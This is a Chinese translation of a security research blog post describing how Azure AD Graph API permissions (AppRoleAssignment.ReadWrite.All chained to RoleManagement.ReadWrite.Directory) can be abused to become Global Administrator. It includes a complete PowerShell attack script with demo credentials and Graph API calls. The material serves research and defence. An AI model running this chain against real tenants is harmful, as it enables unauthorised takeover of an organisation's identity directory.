利用 Azure API 权限获取 Azure 集群权限
2022-3-10 11:20:0 Author: www.4hou.com(查看原文) 阅读量:54 收藏

导语:Microsoft 的 Azure 是一个由主体、安全对象以及授予这些对象访问权限的各种方式组成的复杂系统。一些权限操作由 Azure AD 角色严格控制,而其他操作由角色和对象所有权者控制。Azure 中的许多对象都受制于不同的权限系统,这会使访问变得非常困难。

Microsoft 的 Azure 是一个由主体、安全对象以及授予这些对象访问权限的各种方式组成的复杂系统。一些权限操作由 Azure AD 角色严格控制,而其他操作由角色和对象所有权者控制。Azure 中的许多对象都受制于不同的权限系统,这会使访问变得非常困难。

在这篇文章中,我将描述如何利用这些权限系统升级为全局管理员。我将描述作为攻击者如何利用此系统,还将描述作为防御者如何进行安全配置。

在 Azure 的攻击研究中,至少有两个人开放过 API 权限利用:

· Dirk-Jan Mollema在此处讨论了可利用的 Azure API 权限。

https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/

· Lina Lau 在这里讨论了利用应用程序和服务主体对 Azure 租户进行后门攻击。

https://www.inversecos.com/2021/10/how-to-backdoor-azure-applications-and.html

0x01 Azure API 权限介绍

Azure AD 使用“角色”的概念为主体分配权限。例如,“全局管理员”是 Azure AD 目录角色。Azure API 权限是一组完全不同的并行权限,可以授予 Azure 服务主体。Azure AD 角色和 Azure API 权限之间存在一些重叠,但最好将它们视为并行权限系统。

这些并行系统可用于控制对相同对象的访问,它们可用于授予对相同对象的访问权限。但是,仅当主体通过该 API 对目标对象进行操作时,才会考虑 Azure API 权限系统中授予的特定权限:

image-20220303143724538.png

image-20220303143724538在继续分析之前,先解释一些专有名词,这些系统非常复杂,在分析时很容易混淆。

Principal — 可以进行身份验证的身份。在 Azure-land 中,主体可以是用户或服务主体,使用用户名和密码登录时,你正在使用用户主体对 Azure 进行身份验证。

Azure AD App Registration— 驻留在 Azure 租户中的应用程序对象。Azure Apps是处理配置信息的地方,你可以在其中授予用户对应用程序的访问权限并让应用程序执行操作。

Service Principal— Azure Apps在需要向 Azure 进行身份验证时使用的标识。服务主体可以使用用户名和密码进行身份验证。就像用户一样,服务主体可以控制 Azure 中的其他对象。

API Permission— 一种原子的、唯一可识别的权限,适用于特定的 Azure Apps。API 权限有两种形式:“委派”和“应用”。API 权限描述了授予 Azure Apps的特定权限。

MS Graph API 中的 API 权限以“Resource.Operation.Constraint”格式编写。示例:“Directory.ReadWrite.All”是指授予此权限的主体可以读取和写入目录中的所有对象。

App Role— 由 Azure Apps授予的权限,可直接由授予它的主体使用。

Delegated Permissions— 由 Azure 应用授予的权限,但只能代表已通过应用进行身份验证的用户使用。委托人不能自己使用委派角色,但他们可以模拟确实具有该角色的登录用户,代表用户使用该角色。

Application App Role ——Azure Apps本身持有的权限。应用程序可以使用此角色,而无需用户先登录应用程序。

Resource App— 与 Azure Apps访问的应用程序关联的唯一标识的服务主体。应用程序角色是按资源应用程序定义的。

根据上下文,所有这些术语都可以指代同一个对象:Service Principal、Enterprise Application、Resource App 和 First Party Application。

下面会描述如何形成攻击路径。

0x02 利用 API 权限实现权限提升

作为 Azure 管理员、防御者或攻击者,你将与之交互的最常见的资源应用程序之一是 Microsoft Graph。基本上,你想要采取的所有可利用的管理操作都可以通过 Microsoft Graph API 实现。

每个 Azure 租户都有一个 Microsoft Graph Resource App。你可以通过搜索其显示名称“GraphAggregatorService”在你自己的租户中找到它。在我的账户中,Microsoft Graph 的“应用程序 ID”是 00000003–0000–0000-c000–000000000000:

image-20220303143745533image-20220303143745533.png

为什么是同一个ID?因为此应用实际上位于 Microsoft 控制的 Azure AD 租户中,让我们从Graph的角度思考这些事情:

image-20220303143901813image-20220303143901813.png

这些对象具有相同的显示名称,但它们是具有不同 ID 的不同对象。另外,上面蓝色表示的信任边界意味着Microsoft租户中的Global Admin无法控制SpecterDev租户中的Resource App,SpecterDev租户中的Global Admin无法控制Microsoft租户中的Azure App。

现在添加一些应用程序角色。应用程序角色特定于每个资源应用程序。为了在这里解释一种权限提升的可能性,我们将重点关注两个应用程序角色:AppRoleAssignment.ReadWrite.All 和 RoleManagement.ReadWrite.Directory:

image-20220303143930071image-20220303143930071.png

此时,这些应用程序角色仅可供管理员授予服务主体,但实际上还没有人拥有这些权限。继续将“AppRoleAssignment.ReadWrite.All”应用程序角色授予另一个服务主体,将使其成为“Application App Role”(而不是“委托权限”),以便服务主体本身具有此权限:

image-20220303143944905image-20220303143944905.png

并且不要忘了“MyCoolAzureApp”服务主体与 Azure Apps“MyCoolAzureApp”相关联:

image-20220303144031432.png

image-20220303144031432现在“MyCoolAzureApp”已经设置好了,可以将自己或其他任何人变成全局管理员。为了理解这一点,需要讨论一下这两个特定的应用程序角色允许服务主体做什么

Microsoft 文档描述的“AppRoleAssignment.ReadWrite.All”权限:

“允许应用程序管理任何 API(包括 Microsoft Graph)的应用程序权限的权限授予和任何应用程序的应用程序分配,而无需登录用户。”

这意味着“AppRoleAssignment.ReadWrite.All”可让你授予自己所需的任何 API 权限。这个特殊的角色还绕过了手动的、人工的管理员授权过程。拥有这个角色意味着“MyCoolAzureApp”可以授予自己“RoleManagement.ReadWrite.Directory”:

image-20220303144142822image-20220303144142822.png

可以用“RoleManagement.ReadWrite.Directory”做什么?文档描述如下:

“允许应用在没有登录用户的情况下读取和管理公司目录的基于角色的访问控制(RBAC)设置。这包括实例化目录角色和管理目录角色成员身份,以及读取目录角色模板、目录角色和成员身份。”

换句话说,你可以授予自己任何你想要的目录角色,包括全局管理员:

image-20220303144205142.pngimage-20220303144205142

我们的攻击路径就出来了:

1.MyCoolAzureApp 应用作为 MyCoolAzureApp 服务主体运行。

2.MyCoolAzureApp 服务主体具有“AppRoleAssignment.ReadWrite.All”权限,允许授予自己“RoleManagement.ReadWrite.Directory”。

3.在授予自己“RoleManagement.ReadWrite.Directory”后,MyCoolAzureApp 服务主体可以将自己提升为全局管理员。

这是此攻击路径的实际操作视频:

https://vimeo.com/646553826

这是上面演示中的示例攻击代码:

## Granting Global Admin rights by chaining AppRoleAssignment.ReadWrite.All into RoleManagement.ReadWrite.Directory

# Helper function to let us parse Azure JWTs:
function Parse-JWTtoken {
    <#
    .DESCRIPTION
    Decodes a JWT token. This was taken from link below. Thanks to Vasil Michev.
    .LINK
    https://www.michev.info/Blog/Post/2140/decode-jwt-access-and-id-tokens-via-powershell
    #>
    [cmdletbinding()]
    param(
        [Parameter(Mandatory = $True)]
        [string]$Token
    )

    #Validate as per https://tools.ietf.org/html/rfc7519
    #Access and ID tokens are fine, Refresh tokens will not work
    if (-not $Token.Contains(".") -or -not $Token.StartsWith("eyJ")) {
        Write-Error "Invalid token" -ErrorAction Stop
    }

    #Header
    $tokenheader = $Token.Split(".")[0].Replace('-', '+').Replace('_', '/')

    #Fix padding as needed, keep adding "=" until string length modulus 4 reaches 0
    while ($tokenheader.Length % 4) {
        Write-Verbose "Invalid length for a Base-64 char array or string, adding ="
        $tokenheader += "="
    }

    Write-Verbose "Base64 encoded (padded) header: $tokenheader"

    #Convert from Base64 encoded string to PSObject all at once
    Write-Verbose "Decoded header:"
    $header = ([System.Text.Encoding]::ASCII.GetString([system.convert]::FromBase64String($tokenheader)) | convertfrom-json)

    #Payload
    $tokenPayload = $Token.Split(".")[1].Replace('-', '+').Replace('_', '/')

    #Fix padding as needed, keep adding "=" until string length modulus 4 reaches 0
    while ($tokenPayload.Length % 4) {
        Write-Verbose "Invalid length for a Base-64 char array or string, adding ="
        $tokenPayload += "="
    }
    
    Write-Verbose "Base64 encoded (padded) payoad: $tokenPayload"

    $tokenByteArray = [System.Convert]::FromBase64String($tokenPayload)


    $tokenArray = ([System.Text.Encoding]::ASCII.GetString($tokenByteArray) | ConvertFrom-Json)

    #Converts $header and $tokenArray from PSCustomObject to Hashtable so they can be added together.
    #I would like to use -AsHashTable in convertfrom-json. This works in pwsh 6 but for some reason Appveyor isnt running tests in pwsh 6.
    $headerAsHash = @{}
    $tokenArrayAsHash = @{}
    $header.psobject.properties | ForEach-Object { $headerAsHash[$_.Name] = $_.Value }
    $tokenArray.psobject.properties | ForEach-Object { $tokenArrayAsHash[$_.Name] = $_.Value }
    $output = $headerAsHash + $tokenArrayAsHash

    Write-Output $output
}

# Get rid of any tokens or Azure connections in this PowerShell instance
Disconnect-AzureAD
Disconnect-AzAccount
$token = $null
$aadToken = $null

# Connect to Azure as Matt Nelson:
$AzureUserID = "[email protected]"
$AzureTenantID = "6c12b0b0-b2cc-4a73-8252-0b94bfca2145"
$AzurePassword = ConvertTo-SecureString 'k33p3r0fTh3T3nRul3z!' -AsPlainText -Force
$psCred = New-Object System.Management.Automation.PSCredential($AzureUserID, $AzurePassword)
Connect-AzAccount -Credential $psCred -TenantID $AzureTenantID

# Connect to AzureAD as Matt Nelson:
$context = [Microsoft.Azure.Commands.Common.Authentication.Abstractions.AzureRmProfileProvider]::Instance.Profile.DefaultContext
$aadToken = [Microsoft.Azure.Commands.Common.Authentication.AzureSession]::Instance.AuthenticationFactory.Authenticate($context.Account, `
    $context.Environment, `
 $context.Tenant.Id.ToString(), `
 $null, `
 [Microsoft.Azure.Commands.Common.Authentication.ShowDialog]::Never, `
 $null, "https://graph.windows.net").AccessToken
Connect-AzureAD -AadAccessToken $aadToken -AccountId $context.Account.Id -TenantId $context.tenant.id

# Let's verify the object ID for the Global Admin role in our tenant:
Get-AzureADDirectoryRole | ?{$_.DisplayName -eq "Global Administrator"}

# Matt Nelson is not a Global Admin :(
Get-AzureADDirectoryRoleMember -ObjectID '23cfb4a7-c0d6-4bf1-b8d2-d2eca815df41' | select DisplayName

# Matt Nelson can't promote himself to Global Admin :(
Add-AzureADDirectoryRoleMember -ObjectID '23cfb4a7-c0d6-4bf1-b8d2-d2eca815df41' -RefObjectId '825aa930-14f0-40af-bdef-627524bc529e'

# Let's get the object ID of the "MyCoolApp" app registration object:
Get-AzureADApplication -All $True | ?{$_.DisplayName -eq "MyCoolApp"}

# Matt Nelson owns the MyCoolApp app registration, so he can add a new secret to that app:
$AppPassword = New-AzureADApplicationPasswordCredential -ObjectID '7738ebf7-730d-4daa-b095-b3861569662e'
$AppPassword

#Disconnect from AzureAD and AzureRM and clear our tokens
Disconnect-AzureAD
Disconnect-AzAccount
$token = $null
$aadToken = $null

# Using the new password we just created for MyCoolApp, get an Azure token:
$AzureApplicationID = "4a2d703b-ec39-4fe4-98a9-e298d5a0f540"
$AzureTenantID = "6c12b0b0-b2cc-4a73-8252-0b94bfca2145"
$AzurePassword = ConvertTo-SecureString $AppPassword.value -AsPlainText -Force
$psCred = New-Object System.Management.Automation.PSCredential($AzureApplicationID, $AzurePassword)
Connect-AzAccount -Credential $psCred -TenantID $AzureTenantID -ServicePrincipal

# Use this token get an MS graph token for our MyCoolApp service principal, to include granted app roles
$APSUser = Get-AzContext *>&1 
$resource = "https://graph.microsoft.com"
$token = [Microsoft.Azure.Commands.Common.Authentication.AzureSession]::Instance.AuthenticationFactory.Authenticate(`
    $APSUser.Account, `
 $APSUser.Environment, `
 $APSUser.Tenant.Id.ToString(), `
 $null, `
 [Microsoft.Azure.Commands.Common.Authentication.ShowDialog]::Never, `
 $null, `
 $resource).AccessToken

# Grant MyCoolApp the "RoleManagement.ReadWrite.Directory" MS Graph app role:
$body = @{
 principalId = "d146464f-523a-4d24-bfce-17d21568647e"
    resourceId = "9858020a-4c00-4399-9ae4-e7897a8333fa"
    appRoleId = "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8"
    startTime = "2020-01-01T12:00:00Z"
    expiryTime = "2022-01-01T10:00:00Z"
}
Invoke-RestMethod -Headers @{Authorization = "Bearer $($token)" } `
    -Uri "https://graph.microsoft.com/v1.0/servicePrincipals/d146464f-523a-4d24-bfce-17d21568647e/appRoleAssignedTo" `
    -Method POST `
 -Body $($body | ConvertTo-Json) `
 -ContentType 'application/json'

## Wait for this to take effect...

# Get a new graph token for the MyCoolApp service principal and check if it has "RoleManagement.ReadWrite.Directory" added to its roles yet
$APSUser = Get-AzContext *>&1 
$resource = "https://graph.microsoft.com"
$token = [Microsoft.Azure.Commands.Common.Authentication.AzureSession]::Instance.AuthenticationFactory.Authenticate(`
    $APSUser.Account, `
 $APSUser.Environment, `
 $APSUser.Tenant.Id.ToString(), `
 $null, `
 [Microsoft.Azure.Commands.Common.Authentication.ShowDialog]::Never, `
 $null, `
 $resource).AccessToken
 
(Parse-JWTtoken $token).roles

# Now we use our new "RoleManagement.ReadWrite.Directory" app role to promote Matt Nelson to Global Admin:
$body = @{
    "@odata.id"= "https://graph.microsoft.com/v1.0/directoryObjects/825aa930-14f0-40af-bdef-627524bc529e"
}
Invoke-RestMethod -Headers @{Authorization = "Bearer $($token)" } `
    -Uri 'https://graph.microsoft.com/v1.0/directoryRoles/23cfb4a7-c0d6-4bf1-b8d2-d2eca815df41/members/$ref' `
    -Method POST `
 -Body $($body | ConvertTo-Json) `
 -ContentType 'application/json'
 
# Get rid of any tokens or Azure connections in this PowerShell instance
Disconnect-AzureAD
Disconnect-AzAccount
$token = $null
$aadToken = $null

# Reconnect to Azure as Matt Nelson:
$AzureUserID = "[email protected]"
$AzureTenantID = "6c12b0b0-b2cc-4a73-8252-0b94bfca2145"
$AzurePassword = ConvertTo-SecureString 'k33p3r0fTh3T3nRul3z!' -AsPlainText -Force
$psCred = New-Object System.Management.Automation.PSCredential($AzureUserID, $AzurePassword)
Connect-AzAccount -Credential $psCred -TenantID $AzureTenantID

# Connect to AzureAD as Matt Nelson:
$context = [Microsoft.Azure.Commands.Common.Authentication.Abstractions.AzureRmProfileProvider]::Instance.Profile.DefaultContext
$aadToken = [Microsoft.Azure.Commands.Common.Authentication.AzureSession]::Instance.AuthenticationFactory.Authenticate($context.Account, `
    $context.Environment, `
 $context.Tenant.Id.ToString(), `
 $null, `
 [Microsoft.Azure.Commands.Common.Authentication.ShowDialog]::Never, `
 $null, "https://graph.windows.net").AccessToken
Connect-AzureAD -AadAccessToken $aadToken -AccountId $context.Account.Id -TenantId $context.tenant.id

# Matt Nelson is now a Global Admin
Get-AzureADDirectoryRoleMember -ObjectID '23cfb4a7-c0d6-4bf1-b8d2-d2eca815df41' | select DisplayName

0x03 分析总结

Azure 是一个复杂的动态系统,随着时间的推移,新的攻击路径会出现、消失和重现。Azure 中有设计非常好的机制,可以防止某些攻击路径的出现,但不能保证这些机制的保护作用会一直存在。虽然微软的系统都是一些非常聪明的人开发设计,但归根结底,我们必须记住两件事:

1.Microsoft 已明确表示,你应对你环境中的配置负责。

2.安全是服务于业务的。完美的安全是无法实现的,但我们可以而且必须采取主动行动,而不是依赖被动行动。

0x04 参考信息

https://samcogan.com/provide-admin-consent-fora-azure-ad-applications-programmatically/

https://graphpermissions.merill.net/permission

https://winsmarts.com/automating-application-permission-grant-while-avoiding-approleassignment-readwrite-all-554a83d5b6f5

https://docs.microsoft.com/en-us/graph/permissions-reference#permissions-availability-status

https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/

https://techcommunity.microsoft.com/t5/azure-active-directory-identity/understanding-quot-solorigate-quot-s-identity-iocs-for-identity/ba-p/2007610

https://docs.microsoft.com/en-us/azure/active-directory/develop/consent-framework

https://tech.nicolonsky.ch/exploring-the-new-microsoft-graph-powershell-modules/

https://practical365.com/connect-microsoft-graph-powershell-sdk/

https://www.inversecos.com/2021/10/attacks-on-azure-ad-and-m365-pawning.html

https://docs.microsoft.com/en-us/graph/resolve-auth-errors

https://tech.nicolonsky.ch/explaining-microsoft-graph-access-token-acquisition/

本文翻译自:https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48如若转载,请注明原文地址


文章来源: https://www.4hou.com/posts/4GZV
如有侵权请联系:admin#unsafe.sh